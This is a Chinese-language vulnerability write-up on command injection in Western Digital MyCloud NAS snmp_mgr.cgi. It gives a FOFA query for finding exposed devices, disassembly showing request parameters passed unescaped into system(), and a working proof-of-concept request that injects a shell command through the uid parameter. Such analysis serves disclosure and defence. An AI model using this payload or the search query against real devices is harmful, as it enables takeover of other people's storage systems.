西部数据 NAS snmp_mgr.cgi 多处命令执行漏洞


漏洞简介

Western Digital MyCloud NAS是一款网络附加存储设备,旨在提供集中存储和共享解决方案。它允许用户在家中或办公室通过网络访问文件,支持多种设备的备份和共享。Western Digital MyCloud NAS snmp_mgr.cgi中存在多处命令执行漏洞,攻击者可通过该漏洞在服务器端任意执行命令,获取服务器权限,进而控制整个web服务器。

影响版本

<=2.11.153(老版本,已发布修复补丁)

fofa语法

icon_hash="-1074357885" && header="X-Powered-By: PHP/5.4.16"

漏洞分析

传参的逻辑在最上面也能看到

程序首先调用 cgiFormString 函数,从HTTP请求中获取一个名为 cmd 的参数值。这个值决定了接下来要执行什么操作。

根据漏洞通告,使用IDA打开 snmp_mgr.cgi 搜索 cgi_SNMPv3_delete_one_record 定位到它的处理逻辑处

程序通过一连串的 strcmp (字符串比较) 来判断 cmd 参数的值,并根据不同的值,跳转(BL指令)到不同的子函数执行相应的操作。

cgi_SNMPv3_delete_one_record

cmd=cgi_SNMPv3_delete_one_record 时,跳转进入 sub_117E4 ,汇编处理逻辑如下

sub_117E4

var_48= -0x48

; __unwind {
PUSH            {LR}
SUB             SP, SP, #0x244
ADD             R1, SP, #0x248+var_48
MOV             R2, #0x40 ; '@'
LDR             R0, =aUid ; "uid"
BL              cgiFormString
ADD             R2, SP, #0x248+var_48
LDR             R1, =aSnmpToolRSDevN ; "snmp_tool -r \"%s\" >/dev/null 2>&1"
MOV             R0, SP  ; s
BL              sprintf
MOV             R0, SP  ; command
BL              system
LDR             R0, =command ; "snmp_tool -s >/dev/null 2>&1"
BL              system
LDR             R0, =aTextHtml ; "text/html"
BL              cgiHeaderContentType
ADD             SP, SP, #0x244
POP             {LR}
BX              LR
; End of function sub_117E4

到这就很清楚了,漏洞形成原因是直接将 uid 拼接进 snmp_tool 命令工具的参数里面,从而导致的命令注入漏洞

cgi_get_SNMPv3_one_record

存在同样漏洞的还有 cgi_get_SNMPv3_one_record(sub_11178),汇编处理逻辑如下

sub_11178

var_28= -0x28
var_24= -0x24
var_20= -0x20
var_1C= -0x1C
var_18= -0x18
var_14= -0x14
var_10= -0x10
var_C= -0xC

; __unwind {
PUSH            {LR}
MOV             R3, #0
SUB             SP, SP, #0x224
MOV             R1, R3  ; c
MOV             R0, SP  ; s
MOV             R2, #0x200 ; n
STR             R3, [SP,#0x228+var_28]
STR             R3, [SP,#0x228+var_24]
STR             R3, [SP,#0x228+var_20]
STR             R3, [SP,#0x228+var_1C]
STR             R3, [SP,#0x228+var_18]
STR             R3, [SP,#0x228+var_14]
STR             R3, [SP,#0x228+var_10]
STR             R3, [SP,#0x228+var_C]
BL              memset
ADD             R1, SP, #0x228+var_28
MOV             R2, #0x20 ; ' '
LDR             R0, =aUid ; "uid"
BL              cgiFormString
ADD             R2, SP, #0x228+var_28
LDR             R1, =aSnmpToolUSDevN ; "snmp_tool -U \"%s\" >/dev/null 2>&1"
MOV             R0, SP  ; s
BL              sprintf
MOV             R0, SP  ; command
BL              system
LDR             R0, =aTextHtml ; "text/html"
BL              cgiHeaderContentType
ADD             SP, SP, #0x224
POP             {LR}
BX              LR
; End of function sub_11178

也是将 uid 直接拼接进 snmp_tool 命令工具的参数里面,从而导致的命令注入漏洞。

cgi_set_SNMP_v2

当cmd=cgi_set_SNMP_v2 时,会跳转到 sub_1150C ,其汇编处理如下

sub_1150C

command= -0x348
s= -0x148
var_C8= -0xC8
var_48= -0x48
var_44= -0x44
var_40= -0x40
var_3C= -0x3C
var_38= -0x38
var_34= -0x34
var_30= -0x30
var_2C= -0x2C
var_28= -0x28
var_24= -0x24
var_20= -0x20
var_1C= -0x1C
var_18= -0x18
var_14= -0x14

; __unwind {
PUSH            {R4-R6,LR}
SUB             SP, SP, #0x730
SUB             SP, SP, #8
MOV             R4, #0
MOV             R6, #0x80
MOV             R1, R4  ; c
MOV             R2, R6  ; n
ADD             R0, SP, #0x748+s ; s
MOV             R5, #0x200
STR             R4, [SP,#0x748+var_28]
STR             R4, [SP,#0x748+var_24]
STR             R4, [SP,#0x748+var_20]
STR             R4, [SP,#0x748+var_1C]
STR             R4, [SP,#0x748+var_18]
STR             R4, [SP,#0x748+var_14]
BL              memset
MOV             R1, R4  ; c
MOV             R2, R6  ; n
ADD             R0, SP, #0x748+var_C8 ; s
BL              memset
MOV             R1, R4  ; c
MOV             R2, R5  ; n
MOV             R0, SP  ; s
BL              memset
MOV             R1, R4  ; c
MOV             R2, R5  ; n
ADD             R0, SP, R5 ; s
BL              memset
MOV             R1, R4  ; c
MOV             R2, R5  ; n
ADD             R0, SP, #0x748+command ; s
STR             R4, [SP,#0x748+var_48]
STR             R4, [SP,#0x748+var_44]
STR             R4, [SP,#0x748+var_40]
STR             R4, [SP,#0x748+var_3C]
STR             R4, [SP,#0x748+var_38]
STR             R4, [SP,#0x748+var_34]
STR             R4, [SP,#0x748+var_30]
STR             R4, [SP,#0x748+var_2C]
BL              memset
ADD             R1, SP, #0x748+var_28
MOV             R2, #8
LDR             R0, =aFEnable ; "f_enable"
BL              cgiFormString
ADD             R1, SP, #0x748+var_28
ADD             R1, R1, #8
MOV             R2, #8
LDR             R0, =aSnmpEnabledLev ; "snmp_enabled_level"
BL              cgiFormString
MOV             R1, SP
MOV             R2, R5
LDR             R0, =aSnmpSyslocatio ; "snmp_syslocation"
BL              cgiFormString
MOV             R2, R5
ADD             R1, SP, R5
LDR             R0, =aSnmpSyscontact ; "snmp_syscontact"
BL              cgiFormString
ADD             R1, SP, #0x748+s
MOV             R2, R6
LDR             R0, =aFCommunity ; "f_community"
BL              cgiFormString
MOV             R2, R6
ADD             R1, SP, #0x748+var_C8
LDR             R0, =aNotificationCo ; "notification_community"
BL              cgiFormString
ADD             R1, SP, #0x748+var_18
MOV             R2, #8
LDR             R0, =aNotificationEn ; "notification_enable"
BL              cgiFormString
ADD             R1, SP, #0x748+var_48
MOV             R2, #0x20 ; ' '
LDR             R0, =aIp ; "ip"
BL              cgiFormString
ADD             R2, SP, #0x748+var_28
LDR             R1, =aSnmpToolBSDevN ; "snmp_tool -B %s >/dev/null 2>&1"
ADD             R0, SP, #0x748+command ; s
BL              sprintf
ADD             R0, SP, #0x748+command ; command
BL              system
ADD             R2, SP, #0x748+var_28
ADD             R2, R2, #8
ADD             R0, SP, #0x748+command ; s
LDR             R1, =aSnmpToolBSDevN_0 ; "snmp_tool -b %s >/dev/null 2>&1"
BL              sprintf
ADD             R0, SP, #0x748+command ; command
BL              system
ADD             R0, SP, #0x748+s
BL              sub_11000
ADD             R2, SP, #0x748+s
LDR             R1, =aSnmpToolZSDevN ; "snmp_tool -Z \"%s\" >/dev/null 2>&1"
ADD             R0, SP, #0x748+command ; s
BL              sprintf
ADD             R0, SP, #0x748+command ; command
BL              system
MOV             R0, SP
BL              sub_11000
MOV             R2, SP
LDR             R1, =aSnmpToolLSDevN ; "snmp_tool -L \"%s\" >/dev/null 2>&1"
ADD             R0, SP, #0x748+command ; s
BL              sprintf
ADD             R0, SP, #0x748+command ; command
BL              system
ADD             R0, SP, R5
BL              sub_11000
ADD             R2, SP, R5
LDR             R1, =aSnmpToolCSDevN ; "snmp_tool -C \"%s\" >/dev/null 2>&1"
ADD             R0, SP, #0x748+command ; s
BL              sprintf
ADD             R0, SP, #0x748+command ; command
BL              system
ADD             R2, SP, #0x748+var_18
LDR             R1, =aSnmpToolESDevN ; "snmp_tool -E %s >/dev/null 2>&1"
ADD             R0, SP, #0x748+command ; s
BL              sprintf
ADD             R0, SP, #0x748+command ; command
BL              system
ADD             R0, SP, #0x748+var_C8
BL              sub_11000
ADD             R2, SP, #0x748+var_C8
ADD             R3, SP, #0x748+var_48
ADD             R0, SP, #0x748+command ; s
LDR             R1, =aSnmpToolOSOSDe ; "snmp_tool -o \"%s\" -O \"%s\" >/dev/nul"...
BL              sprintf
ADD             R0, SP, #0x748+command ; command
BL              system
LDR             R0, =command ; "snmp_tool -s >/dev/null 2>&1"
BL              system
LDR             R0, =aTextHtml ; "text/html"
BL              cgiHeaderContentType
ADD             SP, SP, #0x338
ADD             SP, SP, #0x400
POP             {R4-R6,LR}
BX              LR
; End of function sub_1150C

程序依次调用 cgiFormString 函数来获取HTTP请求中的多个参数值,并将它们存储到栈上的不同缓冲区中。

  • f_enable (存入 SP + 0x748 + var_28,大小为8字节)
  • snmp_enabled_level (存入 SP + 0x748 + var_28 + 8,大小为8字节)
  • snmp_syslocation (存入 SP,大小为512字节)
  • snmp_syscontact (存入 SP + R5,大小为512字节)
  • f_community (存入 SP + 0x748 + s,大小为128字节)
  • notification_community (存入 SP + 0x748 + var_C8,大小为128字节)
  • notification_enable (存入 SP + 0x748 + var_18,大小为8字节)
  • ip (存入 SP + 0x748 + var_48,大小为32字节)

在进行利用需要注意长度大小,可以选取大一点的如128或512字节的参数进行利用。

程序会多次使用 sprintfsystem 来执行 snmp_tool 命令:

设置 SNMP 启用状态 (-B):

ADD             R2, SP, #0x748+var_28  ; R2 指向 f_enable 参数的缓冲区
LDR             R1, =aSnmpToolBSDevN ; "snmp_tool -B %s >/dev/null 2>&1"
ADD             R0, SP, #0x748+command ; R0 指向 command 缓冲区
BL              sprintf                ; 格式化命令
ADD             R0, SP, #0x748+command ; R0 指向 command 缓冲区
BL              system                 ; 执行命令

这里 %s 会被 f_enable 的值替换。

设置 SNMP 启用级别 (-b):

ADD             R2, SP, #0x748+var_28  ; R2 指向 f_enable 参数的缓冲区
ADD             R2, R2, #8             ; 偏移8字节,指向 snmp_enabled_level 参数的缓冲区
ADD             R0, SP, #0x748+command ; R0 指向 command 缓冲区
LDR             R1, =aSnmpToolBSDevN_0 ; "snmp_tool -b %s >/dev/null 2>&1"
BL              sprintf                ; 格式化命令
ADD             R0, SP, #0x748+command ; R0 指向 command 缓冲区
BL              system                 ; 执行命令
  • 这里 %s 会被 snmp_enabled_level 的值替换。

处理 f_community 参数:

ADD             R0, SP, #0x748+s       ; R0 指向 f_community 参数的缓冲区
BL              sub_11000              ; 调用 sub_11000 处理 f_community
ADD             R2, SP, #0x748+s       ; R2 指向 f_community 参数的缓冲区
LDR             R1, =aSnmpToolZSDevN ; "snmp_tool -Z \"%s\" >/dev/null 2>&1"
ADD             R0, SP, #0x748+command ; R0 指向 command 缓冲区
BL              sprintf                ; 格式化命令
ADD             R0, SP, #0x748+command ; R0 指向 command 缓冲区
BL              system                 ; 执行命令

这里 %s 会被 f_community 的值替换。请注意 sub_11000 会对 \" 进行转义,但不会对 ;, |, & 等shell元字符进行转义。

处理 snmp_syslocation 参数:

MOV             R0, SP                 ; R0 指向 snmp_syslocation 参数的缓冲区
BL              sub_11000              ; 调用 sub_11000 处理 snmp_syslocation
MOV             R2, SP                 ; R2 指向 snmp_syslocation 参数的缓冲区
LDR             R1, =aSnmpToolLSDevN ; "snmp_tool -L \"%s\" >/dev/null 2>&1"
ADD             R0, SP, #0x748+command ; R0 指向 command 缓冲区
BL              sprintf                ; 格式化命令
ADD             R0, SP, #0x748+command ; R0 指向 command 缓冲区
BL              system                 ; 执行命令

这里 %s 会被 snmp_syslocation 的值替换。

处理 snmp_syscontact 参数:

ADD             R0, SP, R5             ; R0 指向 snmp_syscontact 参数的缓冲区
BL              sub_11000              ; 调用 sub_11000 处理 snmp_syscontact
ADD             R2, SP, R5             ; R2 指向 snmp_syscontact 参数的缓冲区
LDR             R1, =aSnmpToolCSDevN ; "snmp_tool -C \"%s\" >/dev/null 2>&1"
ADD             R0, SP, #0x748+command ; R0 指向 command 缓冲区
BL              sprintf                ; 格式化命令
ADD             R0, SP, #0x748+command ; R0 指向 command 缓冲区
BL              system                 ; 执行命令

这里 %s 会被 snmp_syscontact 的值替换。

处理 notification_enable 参数:

ADD             R2, SP, #0x748+var_18  ; R2 指向 notification_enable 参数的缓冲区
LDR             R1, =aSnmpToolESDevN ; "snmp_tool -E %s >/dev/null 2>&1"
ADD             R0, SP, #0x748+command ; R0 指向 command 缓冲区
BL              sprintf                ; 格式化命令
ADD             R0, SP, #0x748+command ; R0 指向 command 缓冲区
BL              system                 ; 执行命令

这里 %s 会被 notification_enable 的值替换。

处理 notification_community ip 参数:

ADD             R0, SP, #0x748+var_C8  ; R0 指向 notification_community 参数的缓冲区
BL              sub_11000              ; 调用 sub_11000 处理 notification_community
ADD             R2, SP, #0x748+var_C8  ; R2 指向 notification_community 参数的缓冲区
ADD             R3, SP, #0x748+var_48  ; R3 指向 ip 参数的缓冲区
ADD             R0, SP, #0x748+command ; R0 指向 command 缓冲区
LDR             R1, =aSnmpToolOSOSDe ; "snmp_tool -o \"%s\" -O \"%s\" >/dev/nul"...
BL              sprintf                ; 格式化命令
ADD             R0, SP, #0x748+command ; R0 指向 command 缓冲区
BL              system                 ; 执行命令

这里 %s 会被 notification_enable 的值替换。

处理 notification_community ip 参数:

ADD             R0, SP, #0x748+var_C8  ; R0 指向 notification_community 参数的缓冲区
BL              sub_11000              ; 调用 sub_11000 处理 notification_community
ADD             R2, SP, #0x748+var_C8  ; R2 指向 notification_community 参数的缓冲区
ADD             R3, SP, #0x748+var_48  ; R3 指向 ip 参数的缓冲区
ADD             R0, SP, #0x748+command ; R0 指向 command 缓冲区
LDR             R1, =aSnmpToolOSOSDe ; "snmp_tool -o \"%s\" -O \"%s\" >/dev/nul"...
BL              sprintf                ; 格式化命令
ADD             R0, SP, #0x748+command ; R0 指向 command 缓冲区
BL              system                 ; 执行命令

这里 %s 会分别被 notification_communityip 的值替换。

重新启动 SNMP 服务:

LDR             R0, =command ; "snmp_tool -s >/dev/null 2>&1"
BL              system       ; 执行命令

这是一个硬编码的命令,用于重启SNMP服务。

根据缓冲区大小,当前逻辑下,各个参数的缓冲区大小以及是否可利用如下表

cgi_set_SNMPv3_one_record

解释下下面的汇编代码
sub_111FC

var_88C= -0x88C
var_888= -0x888
var_884= -0x884
var_880= -0x880
var_87C= -0x87C
var_870= -0x870
var_670= -0x670
var_46C= -0x46C
var_27C= -0x27C
var_7C= -0x7C
var_3C= -0x3C
var_1C= -0x1C
nptr= -0xC
var_8= -8

; __unwind {
PUSH            {R4-R8,R10,LR}
SUB             SP, SP, #0x880
SUB             SP, SP, #0xC
MOV             R5, #0
ADD             R1, SP, #0x88C+nptr
MOV             R2, #8
ADD             R7, SP, #0x860
LDR             R0, =aDataLen ; "data_len"
ADD             R6, SP, #0x88C+var_670
STR             R5, [SP,#0x88C+nptr]
ADD             R8, SP, #0x88C+var_1C
STR             R5, [SP,#0x88C+var_8]
BL              cgiFormString
MOV             R1, R5  ; endptr
MOV             R2, #0xA ; base
ADD             R0, SP, #0x88C+nptr ; nptr
ADD             R10, SP, #0x88C+var_7C
BL              strtol
ADD             R10, R10, #0xC
ADD             R0, R0, #1 ; size
BL              malloc
MOV             R1, R5  ; endptr
MOV             R2, #0xA ; base
MOV             R4, R0
ADD             R0, SP, #0x88C+nptr ; nptr
BL              strtol
MOV             R1, R4
ADD             R2, R0, #1
LDR             R0, =aData ; "data"
BL              cgiFormString
ADD             R2, SP, #0x88C+var_870
MOV             R0, R4
MOV             R1, #1
BL              sub_10F34
MOV             R0, R4
ADD             R2, SP, #0x88C+var_3C
MOV             R1, #2
BL              sub_10F34
MOV             R0, R4
MOV             R2, R7
MOV             R1, #3
BL              sub_10F34
MOV             R0, R4
MOV             R2, R6
MOV             R1, #4
BL              sub_10F34
MOV             R0, R4
MOV             R2, R8
MOV             R1, #5
BL              sub_10F34
ADD             R3, SP, #0x88C+var_46C
ADD             R3, R3, #8
MOV             R0, R4
SUB             R5, R3, #0xC
MOV             R1, #6
MOV             R2, R5
BL              sub_10F34
MOV             R2, R10
MOV             R1, #7
MOV             R0, R4
BL              sub_10F34
MOV             R0, R6
BL              sub_11000
MOV             R0, R5
BL              sub_11000
ADD             R0, SP, #0x88C+var_27C
ADD             R2, SP, #0x88C+var_870
ADD             R3, SP, #0x88C+var_3C
LDR             R1, =aSnmpToolV3USLS ; "snmp_tool -v 3 -u \"%s\" -l \"%s\" -a "...
ADD             R0, R0, #0xC ; s
STR             R7, [SP,#0x88C+var_88C]
STR             R6, [SP,#0x88C+var_888]
STR             R5, [SP,#0x88C+var_880]
STR             R8, [SP,#0x88C+var_884]
STR             R10, [SP,#0x88C+var_87C]
BL              sprintf
ADD             R0, SP, #0x88C+var_27C
ADD             R0, R0, #0xC ; command
BL              system
LDR             R0, =command ; "snmp_tool -s >/dev/null 2>&1"
BL              system
MOV             R0, R4  ; ptr
BL              free
LDR             R0, =aTextHtml ; "text/html"
BL              cgiHeaderContentType
ADD             SP, SP, #0x8C
ADD             SP, SP, #0x800
POP             {R4-R8,R10,LR}
BX              LR
; End of function sub_111FC

此函数的功能是接收一个包含多项配置的XML-like数据块,解析它,然后用解析出的值构造一个复杂的命令行来配置SNMPv3用户。与之前分析的函数类似,这个函数也存在极其严重的命令注入漏洞,因为解析出的用户数据在未经充分过滤的情况下被直接拼接到 system() 调用中。

详细执行流程

  1. 初始化与**内存**分配 (Initialization and Memory Allocation**)**:
    1. 函数在栈上分配了 0x88C (约2.2KB) 的巨大空间。
    2. cgiFormString 首先获取 data_len 参数,这个参数指明了后续 data 参数的长度。
    3. 程序使用 strtoldata_len 转换为数字,然后调用 malloc 分配一块大小为 data_len + 1 的堆内存。这块内存(指针存在 R4)将用于存储 data 参数的内容。
    4. 接着,程序调用 cgiFormStringdata 参数的内容读入刚刚分配的堆内存中。
  2. 数据解析 (Data Parsing): 这是该函数的核心部分。程序假设 data 参数是一个包含多个字段的结构化字符串(可能是简化的XML或类似格式)。它通过多次调用 sub_10F34 函数来解析出各个字段的值。
    1. sub_10F34 的作用: 这个子函数 sub_10F34(char *data_blob, int field_index, char *output_buffer) 的功能是从输入的 data_blob 中,根据 field_index(字段索引,如1, 2, 3...)提取出第 N 个 <cell> 标签内的内容,并将其复制到 output_buffer 中。
    2. 解析过程:
      • sub_10F34(R4, 1, ...): 解析第1个字段,存入 [SP+0x88C+var_870]
      • sub_10F34(R4, 2, ...): 解析第2个字段,存入 [SP+0x88C+var_3C]
      • ...依此类推,一共解析了7个字段,分别存放在栈上的不同缓冲区中。
  3. 不充分的过滤 (Insufficient Filtering):
    1. MOV R0, R6 / BL sub_11000: 对第4个解析出的字段(存放在 R6 指向的缓冲区)调用 sub_11000 进行过滤。
    2. MOV R0, R5 / BL sub_11000: 对第6个解析出的字段(存放在 R5 指向的缓冲区)调用 sub_11000 进行过滤。
    3. 关键缺陷: 正如之前分析,sub_11000 函数的过滤机制是无效的,它无法阻止命令注入更重要的是,其他5个解析出的字段完全没有经过任何过滤!
  4. 构造并执行命令 (Command Construction and Execution):
    1. sprintf: 程序使用 sprintf 将所有7个解析出的字段值拼接到一个非常长的命令行格式字符串 aSnmpToolV3USLS 中。
    2. "snmp_tool -v 3 -u \"%s\" -l \"%s\" -a \"%s\" -A \"%s\" -x \"%s\" -X \"%s\" -V \"%s\" >/dev/null 2>&1"
    3. 这里的 %s 占位符会被依次替换为从 data 参数中解析出的7个字段的值。
    4. system(): 拼接好的命令字符串被传递给 system() 执行。
  5. 收尾工作:
    1. 执行 snmp_tool -s 命令来保存设置。
    2. 调用 free(R4) 释放之前为 data 分配的堆内存。
    3. 返回HTTP响应头。

cgi_SNMPv3_modify_one_record

和上面的一样的逻辑

漏洞复现

cgi_SNMPv3_delete_one_record

GET /cgi-bin/snmp_mgr.cgi?cmd=cgi_SNMPv3_delete_one_record&uid=%24(touch%20/var/www/t.png) HTTP/1.1
Host: west.mrxn.net

访问生成的文件,成功创建

cgi_set_SNMP_v2

成功执行命令

cgi_SNMPv3_modify_one_record

cgi_set_SNMPv3_one_record


手机扫码阅读

用友NC importExcelTemplate 任意文件上传漏洞

用友U8+渠道管理(高级版) sendmail.jsp 文件上传漏洞

评 论